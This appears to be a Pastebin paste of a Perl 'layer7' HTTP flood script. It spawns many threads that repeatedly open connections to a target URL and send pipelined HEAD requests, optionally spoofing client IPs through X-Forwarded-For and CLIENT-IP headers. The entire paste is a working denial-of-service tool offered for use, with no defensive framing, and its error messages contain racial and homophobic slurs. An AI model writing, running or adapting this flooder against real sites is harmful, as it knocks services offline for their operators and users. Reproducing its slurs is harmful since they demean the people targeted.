Advertisement
Guest User

Untitled

a guest
May 21st, 2018
69
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.66 KB | None | 0 0
  1. #!/usr/bin/perl
  2. package control;
  3.  
  4. my $ip;
  5.  
  6.  
  7. sub new {
  8. my ($class,$i) = @_;
  9. $ip = $i;
  10. my $self={};
  11. $ip = $i;
  12. bless $self, $class;
  13. return $self;
  14. }
  15.  
  16. sub mas {
  17. my ($self,$veces) = @_;
  18. $veces = 1 if($veces eq "");
  19. my ($a,$e,$o,$b) = split(/\./,$ip);
  20. for($as=0;$as<$veces;$as++) {
  21. $b++;
  22. if($b>=255) {$b=0;$o++;}
  23. if($o>=255) {$o=0;$e++;}
  24. if($e>=255) {$e=0;$a++;}
  25. die("No mas IPs!\n") if($a>=255);
  26. }
  27. $ip = join "",$a,".",$e,".",$o,".",$b;
  28. return $ip;
  29. }
  30.  
  31. 1;
  32.  
  33. package main;
  34.  
  35. use Socket;
  36. use IO::Socket::INET;
  37. use threads ('yield',
  38. 'exit' => 'threads_only',
  39. 'stringify');
  40. use threads::shared;
  41.  
  42. my $ua = "Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0";
  43. my $method = "HEAD";
  44. my $hilo;
  45. my @vals = ('a','b','c','d','e','f','g','h','i','j','k','l','n','o','p','q','r','s','t','u','w','x','y','z',0,1,2,3,4,5,6,7,8,9);
  46. my $randsemilla = "";
  47. for($i = 0; $i < 30; $i++) {
  48. $randsemilla .= $vals[int(rand($#vals))];
  49. }
  50. sub socker {
  51. my ($remote,$port) = @_;
  52. my ($iaddr, $paddr, $proto);
  53. $iaddr = inet_aton($remote) || return false;
  54. $paddr = sockaddr_in($port, $iaddr) || return false;
  55. $proto = getprotobyname('tcp');
  56. socket(SOCK, PF_INET, SOCK_STREAM, $proto);
  57. connect(SOCK, $paddr) || return false;
  58. return SOCK;
  59. }
  60.  
  61.  
  62. sub sender {
  63. my ($max,$peerto,$host,$file) = @_;
  64. my $sock;
  65. while(true) {
  66. my $packet = "";
  67. $sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $peerto, Proto => 'tcp');
  68. unless($sock) {
  69. print "\n[x] We can't connect nigga\n\n";
  70. sleep(1);
  71. next;
  72. }
  73. for($i=0;$i<$porconexion;$i++) {
  74. $ipinicial = $sumador->mas();
  75. my $filepath = $file;
  76. $filepath =~ s/(\{mn\-fakeip\})/$ipinicial/g;
  77. $packet .= join "",$method," /",$filepath," HTTP/1.1\r\nHost: ",$host,"\r\nUser-Agent: ",$ua,"\r\nCLIENT-IP: ",$ipinicial,"\r\nX-Forwarded-For: ",$ipinicial,"\r\nIf-None-Match: ",$randsemilla,"\r\nIf-Modified-Since: Fri, 1 Dec 1969 23:00:00 GMT\r\nAccept: */*\r\nAccept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nContent-Length: 0\r\nConnection: Keep-Alive\r\n\r\n";
  78. }
  79. $packet =~ s/Connection: Keep-Alive\r\n\r\n$/Connection: Close\r\n\r\n/;
  80. print $sock $packet;
  81. }
  82. }
  83.  
  84. sub sender2 {
  85. my ($peerto,$host,$packet) = @_;
  86. my $sock;
  87. my $sumador :shared;
  88. while(true) {
  89. $sock = &socker($host,$peerto);
  90. unless($sock) {
  91. print "\n[x] Unable to connect...\n\n";
  92. next;
  93. }
  94. print $sock $packet;
  95. }
  96. }
  97.  
  98. sub layer7 {
  99. $SIG{'KILL'} = sub { print "Killed...\n"; threads->exit(); };
  100. $url = $ARGV[0];
  101. print "URL: ".$url."\n";
  102. $max = $ARGV[1];
  103. $porconexion = $ARGV[2];
  104. $ipfake = $ARGV[3];
  105. if($porconexion < 1) {
  106. print "[-]Invalid arg 3...\n";
  107. exit;
  108. }
  109. if($url !~ /^http:\/\//) {
  110. die("[x] Invalid URL!\n");
  111. }
  112. $url .= "/" if($url =~ /^http?:\/\/([\d\w\:\.-]*)$/);
  113. ($host,$file) = ($url =~ /^http?:\/\/(.*?)\/(.*)/);
  114. $peerto = 80;
  115. ($host,$peerto) = ($host =~ /(.*?):(.*)/) if($host =~ /(.*?):(.*)/);
  116. $file =~ s/\s/ /g;
  117. print join "","[!] Launching ",$max," threads!\n";
  118. $file = "/".$file if($file !~ /^\//);
  119. print join "","Target: ",$host,":",$peerto,"\nPath: ",$file,"\n\n";
  120. if($ipfake eq "") {
  121. my $packetbase = join "",$method," /",$file," HTTP/1.1\r\nHost: ",$host,"\r\nUser-Agent: ",$ua,"\r\nIf-None-Match: ",$randsemilla,"\r\nIf-Modified-Since: Fri, 1 Dec 1969 23:00:00 GMT\r\nAccept: */*\r\nAccept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nContent-Length: 0\r\nConnection: Keep-Alive\r\n\r\n";
  122. $packetsender = "";
  123. $packetsender = $packetbase x $porconexion;
  124. $packetsender =~ s/Connection: Keep-Alive\r\n\r\n$/Connection: Close\r\n\r\n/;
  125. for($v=0;$v<$max;$v++) {
  126. $thr[$v] = threads->create('sender2', ($peerto,$host,$packetsender));
  127. }
  128. } else {
  129. $sumador = control->new($ipfake);
  130. for($v=0;$v<$max;$v++) {
  131. $thr[$v] = threads->create('sender', ($porconexion,$peerto,$host,$file));
  132. }
  133. }
  134. print "[-] Launched!\n";
  135. for($v=0;$v<$max;$v++) {
  136. if ($thr[$v]->is_running()) {
  137. sleep(3);
  138. $v--;
  139. }
  140. }
  141. print "[!] Finished!\n";
  142. }
  143.  
  144.  
  145. if($#ARGV > 2) {
  146. layer7();
  147. } else {
  148. die("hello faggot>\n");
  149. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement